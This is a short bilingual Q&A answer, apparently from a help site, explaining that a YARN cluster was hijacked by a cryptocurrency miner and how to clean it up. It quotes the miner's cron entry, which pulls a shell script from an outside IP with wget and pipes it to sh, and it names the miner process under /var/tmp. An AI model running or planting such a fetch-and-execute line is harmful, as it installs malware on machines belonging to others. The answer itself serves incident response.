推荐答案

这可能是黑客...有一个加密货币矿工可以创建成千上万的工作.

This might be a hack... There is a cryptocurrency miner that creates thousands of jobs like this.

在每个可疑节点上检查cron作业是否为纱线，然后将其删除.

Check for cron jobs as yarn on each node that are suspicious and remove them.

    $ sudo -u yarn crontab -e
*/2 * * * * wget -q -O - http://185.222.210.59/cr.sh | sh > /dev/null 2>&1

然后检查像这样的"java"进程并杀死它.

Then check for a "java" process like this one and kill it.

/var/tmp/java -c /var/tmp/wc.conf

您还应该保护所有进入群集的端口，以防止其再次出现.

You should also secure all the incoming ports to your cluster to prevent this from coming back.
